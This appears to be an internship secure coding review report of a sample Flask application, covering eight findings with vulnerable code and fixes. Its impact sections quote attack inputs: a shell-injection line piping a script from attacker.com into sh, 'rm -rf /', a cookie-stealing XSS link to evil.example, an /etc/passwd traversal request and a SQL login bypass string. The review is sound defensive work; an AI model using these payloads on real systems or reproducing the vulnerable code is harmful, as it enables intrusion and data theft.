CODEALPHA

Cyber Security Internship

TASK 3 • SECURE CODING REVIEW

Secure Coding Review Report

Manual & Automated Code Review of a Python / Flask Web Application

PREPARED BY
Asad

ROLE
Cyber Security Intern

DATE
July 4, 2026

Tools used: manual source review + Bandit static analysis (SAST)

Table of Contents

1. Executive Summary

This report documents a secure coding review carried out as part of CodeAlpha's Cyber Security Internship, Task 3. The subject of the review is a small Python web application, built with the Flask framework, that provides user login and file-download functionality. The application was written to be representative of common early-stage web applications and was reviewed using a combination of manual source-code inspection and the Bandit static application security testing (SAST) tool.

The review identified 8 distinct security findings across the application's authentication, session management, input handling, and access control logic. The severity breakdown is summarized below.

3	3	2
CRITICAL	HIGH	MEDIUM

Overall, the application demonstrates several patterns that are common — and commonly exploited — in real-world software: untrusted input reaching a database query, a shell command, and an HTML response without validation or escaping, alongside missing authorization checks on a privileged action. None of the issues require advanced attacker capability; all are exploitable by a single crafted HTTP request. Section 5 provides a full breakdown of each finding together with concrete remediation code.

2. Scope & Methodology

2.1 Scope

The review covered the complete source code of the sample application (app.py, 1 file, 82 executable lines), comprising:

- User authentication (login) and session handling
- A user dashboard rendering endpoint
- A file download endpoint
- A diagnostic network utility endpoint (ping)
- An administrative privilege-management endpoint
- Application startup/runtime configuration

2.2 Methodology

The review combined two complementary techniques:

- Manual code review — line-by-line inspection of each route handler, tracing every source of user-controlled input (query parameters, form fields) to the point where it is used, to identify missing validation, sanitization, or authorization.

- Automated static analysis — the Bandit SAST tool (v1.9.4) was run against the codebase to independently corroborate findings and catch any secondary issues (e.g. use of weak cryptographic primitives) that a manual pass might overlook.

Findings are classified by severity (Critical / High / Medium / Low) based on ease of exploitation and potential impact, and mapped to the relevant Common Weakness Enumeration (CWE) identifier.

3. Application Overview

The reviewed application is a minimal Flask service backed by a local SQLite database. It exposes a login form, a post-login dashboard, a file download endpoint that serves files from an uploads directory, a network diagnostic (ping) endpoint, and an endpoint that grants administrator rights. It is intentionally representative rather than production code, so that each common vulnerability class could be demonstrated and remediated in isolation.

4. Findings Summary

ID	Finding	Severity	CWE
F-01	SQL Injection in Login Endpoint	● Critical	CWE-89
F-02	Weak Password Hashing (MD5)	● High	CWE-327
F-03	OS Command Injection in /ping Endpoint	● Critical	CWE-78
F-04	Path Traversal in /download Endpoint	● High	CWE-22
F-05	Reflected Cross-Site Scripting (XSS) on Dashboard	● High	CWE-79
F-06	Broken Access Control on Admin Promotion	● Critical	CWE-862
F-07	Hardcoded Secret Key	● Medium	CWE-798
F-08	Debug Mode Enabled & Bound to All Interfaces	● Medium	CWE-489 / CWE-605

5. Detailed Findings

F-01 — SQL Injection in Login Endpoint

Severity: Critical	**CWE:** CWE-89
Location: app.py, login(), line 51	**Confidence:** High

Description

User-supplied username and password values are concatenated directly into a SQL query string using Python's % string formatting, rather than being passed as parameterized values.

Impact

An attacker can manipulate the query logic (e.g. entering " ' OR '1'='1 " as the username) to bypass authentication entirely, extract arbitrary data from the users table, or in the worst case leverage the database engine to escalate further.

Vulnerable Code

BEFORE — VULNERABLE

```
query = "SELECT * FROM users WHERE username = '%s' AND password = '%s'" % (
    username, hashlib.md5(password.encode()).hexdigest())
cursor = conn.execute(query)
```

Recommended Fix

Always use parameterized queries (placeholders) so the database driver treats user input strictly as data, never as executable SQL.

AFTER — FIXED

```
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor = conn.execute(query, (username, hash_password(password)))
```

F-02 — Weak Password Hashing (MD5)

Severity: High	**CWE:** CWE-327
Location: app.py, init_db() and login(), lines 37 & 53	**Confidence:** High

Description

Passwords are hashed using MD5, an algorithm that is cryptographically broken, fast to brute-force with modern GPUs, and has no built-in salting.

Impact

If the user database is ever exposed (via the SQL injection in F-01 or a backup leak), attacker can recover most passwords in minutes using rainbow tables or brute-force, endangering any account that reuses that password elsewhere.

Vulnerable Code

BEFORE — VULNERABLE

```
hashlib.md5(password.encode()).hexdigest()
```

Recommended Fix

Use a purpose-built password hashing algorithm with a built-in salt and configurable work factor, such as bcrypt, scrypt, or Argon2, via a maintained library like `werkzeug.security` or `passlib`.

AFTER — FIXED

```
from werkzeug.security import generate_password_hash, check_password_hash

hashed = generate_password_hash(password)          # storing
check_password_hash(stored_hash, password)         # verifying
```

F-03 — OS Command Injection in /ping Endpoint

Severity: Critical	**CWE:** CWE-78
Location: app.py, ping(), line 94	**Confidence:** High

Description

The 'host' query parameter is concatenated into a shell command string and executed with shell=True, with no validation or escaping.

Impact

An attacker can append shell metacharacters (e.g. '; rm -rf / ' or '&& curl attacker.com/shell.sh | sh') to execute arbitrary operating system commands with the privileges of the web server process — a full remote code execution vulnerability.

Vulnerable Code

BEFORE — VULNERABLE

```
host = request.args.get("host", "127.0.0.1")
result = subprocess.check_output("ping -c 1 " + host, shell=True)
```

Recommended Fix

Never build shell strings from user input. Pass arguments as a list with shell=False, and validate the input against a strict allow-list (e.g. a hostname/IP regex) before use.

AFTER — FIXED

```
import shlex, ipaddress

host = request.args.get("host", "127.0.0.1")
ipaddress.ip_address(host)   # raises ValueError if not a valid IP
result = subprocess.check_output(["ping", "-c", "1", host], shell=False)
```

F-04 — Path Traversal in /download Endpoint

Severity: High	**CWE:** CWE-22
Location: app.py, download(), line 82	**Confidence:** High

Description

The 'file' query parameter is joined directly onto the uploads directory path with no normalization or containment check, allowing sequences such as '../../' to escape the intended directory.

Impact

A request like /download?file=../../etc/passwd would let an attacker read arbitrary files readable by the server process, including configuration files, source code, or credentials.

Vulnerable Code

BEFORE — VULNERABLE

```
filename = request.args.get("file")
filepath = os.path.join(UPLOAD_DIR, filename)
with open(filepath, "rb") as f:
    return f.read()
```

Recommended Fix

Resolve the final path and verify it still lives inside the intended base directory before opening it; reject the request otherwise. Consider Flask's built-in `send_from_directory`, which performs this check for you.

AFTER — FIXED

```
from flask import send_from_directory

filename = request.args.get("file", "")
return send_from_directory(UPLOAD_DIR, filename)  # blocks traversal automatically
```

F-05 — Reflected Cross-Site Scripting (XSS) on Dashboard

Severity: High	**CWE:** CWE-79
Location: app.py, dashboard(), line 74	**Confidence:** Medium

Description

The 'msg' query parameter is inserted into an HTML template via an f-string and rendered with render_template_string without escaping, so any HTML/JavaScript in the parameter is executed by the victim's browser.

Impact

An attacker can craft a link such as /dashboard?msg=<script>document.location='https://evil.example/steal?c='+document.cookie</script> and send it to a victim to hijack their session cookie or perform actions on their behalf.

Vulnerable Code

BEFORE — VULNERABLE

```
greeting = request.args.get("msg", f"Welcome back, {username}!")
return render_template_string(f"<h1>{greeting}</h1>")
```

Recommended Fix

Use Jinja2 templates with `{{ }}` placeholders (auto-escaped by default) instead of building HTML with f-strings, and never pass user input into render_template_string as raw markup.

AFTER — FIXED

```
from flask import render_template_string

TEMPLATE = "<h1>{{ greeting }}</h1>"   # Jinja2 auto-escapes 'greeting'
return render_template_string(TEMPLATE, greeting=greeting)
```

F-06 — Broken Access Control on Admin Promotion

Severity: Critical	**CWE:** CWE-862
Location: app.py, promote(), line 101	**Confidence:** High

Description

The /admin/promote endpoint updates a user's is_admin flag based solely on a query-string 'id' parameter, with no check that the requester is authenticated, let alone already an administrator.

Impact

Any unauthenticated visitor can grant themselves (or any account) administrator privileges by visiting /admin/promote?id=<their id>, a complete privilege-escalation and authorization bypass.

Vulnerable Code

BEFORE — VULNERABLE

```
@app.route("/admin/promote")
def promote():
    user_id = request.args.get("id")
    conn.execute("UPDATE users SET is_admin = 1 WHERE id = ?", (user_id,))
```

Recommended Fix

Enforce authentication and role-based authorization on every privileged route, ideally via a reusable decorator, and never trust a client-supplied user id for identifying 'who' — use the authenticated session identity instead.

AFTER — FIXED

```
def admin_required(fn):
    @wraps(fn)
    def wrapper(*a, **kw):
        if not session.get("is_admin"):
            abort(403)
        return fn(*a, **kw)
    return wrapper

@app.route("/admin/promote")
@admin_required
def promote():
    ...
```

F-07 — Hardcoded Secret Key

Severity: Medium	**CWE:** CWE-798
Location: app.py, line 17	**Confidence:** Medium

Description

The Flask session-signing secret key is a hardcoded literal string committed directly in source code.

Impact

Anyone with read access to the repository (including its full Git history) can forge valid session cookies, impersonating any user including administrators.

Vulnerable Code

BEFORE — VULNERABLE

```
app.secret_key = "supersecret123"  # hardcoded secret key
```

Recommended Fix

Load secrets from environment variables or a secrets manager at runtime, never from source code, and rotate any key that has already been committed to version control.

AFTER — FIXED

```
import os
app.secret_key = os.environ["FLASK_SECRET_KEY"]  # set outside of source control
```

F-08 — Debug Mode Enabled & Bound to All Interfaces

Severity: Medium	**CWE:** CWE-489 / CWE-605
Location: app.py, line 111	**Confidence:** Medium

Description

The application is started with debug=True and host="0.0.0.0", which enables the interactive Werkzeug debugger and exposes the service on every network interface.

Impact

If this configuration reaches a production or shared environment, the Werkzeug debugger allows arbitrary Python code execution from a browser, and binding to 0.0.0.0 needlessly widens the network attack surface.

Vulnerable Code

BEFORE — VULNERABLE

```
app.run(debug=True, host="0.0.0.0")
```

Recommended Fix

Disable debug mode outside local development (drive it from an environment variable), and bind only to the interfaces actually required, placing the service behind a reverse proxy in production.

AFTER — FIXED

```
debug_mode = os.environ.get("FLASK_DEBUG", "0") == "1"
app.run(debug=debug_mode, host="127.0.0.1")
```

---

6. Static Analysis Results (Bandit)

Bandit was run with `bandit -r app/` against the full application. It reported 8 issues (4 High, 2 Medium, 2 Low severity), independently corroborating findings F-01, F-02, F-03, and F-08, and additionally flagging the general risk of importing the subprocess module. Full tool output is retained alongside this report for reference (bandit_report.json).

```
Total issues (by severity):
    High:   4
    Medium: 2
    Low:    2

Key confirmations:
  B608  Possible SQL injection via string-based query construction  -> matches F-01
  B324  Use of weak MD5 hash for security                          -> matches F-02
  B602  subprocess call with shell=True identified                 -> matches F-03
  B201  Flask app run with debug=True                              -> matches F-08
```

7. General Secure Coding Recommendations

- Treat all client-supplied input (query strings, form fields, headers, cookies) as untrusted, regardless of source.
- Use parameterized queries or an ORM for all database access — never build SQL with string formatting or concatenation.

- Hash passwords with bcrypt, scrypt, or Argon2 — never MD5 or SHA-family alone.
- Escape or auto-escape all output rendered into HTML; prefer templating engines with auto-escaping enabled over manual string building.
- Enforce authentication and role-based authorization on every route that reads or modifies sensitive data, checked server-side on every request.
- Never execute shell commands built from user input; if unavoidable, use an argument list with shell=False and an input allow-list.
- Keep secrets (keys, credentials, tokens) out of source code; load them from environment variables or a secrets manager.
- Disable debug/diagnostic modes and restrict network bindings before any non-local deployment.
- Integrate a SAST tool such as Bandit into CI/CD so these classes of issues are caught automatically before merge.

8. Conclusion

The application in its current state contains multiple high-impact vulnerabilities — most notably SQL injection, OS command injection, and broken access control — that would allow a remote, unauthenticated attacker to fully compromise user accounts, read arbitrary server files, and gain administrative control. All eight findings have concrete, low-effort remediations, primarily consisting of using parameterized queries, framework-provided safe helpers, proper password hashing, and consistent authorization checks. Applying the fixes in Section 5 and adopting the practices in Section 7 would bring the application to a substantially stronger security baseline.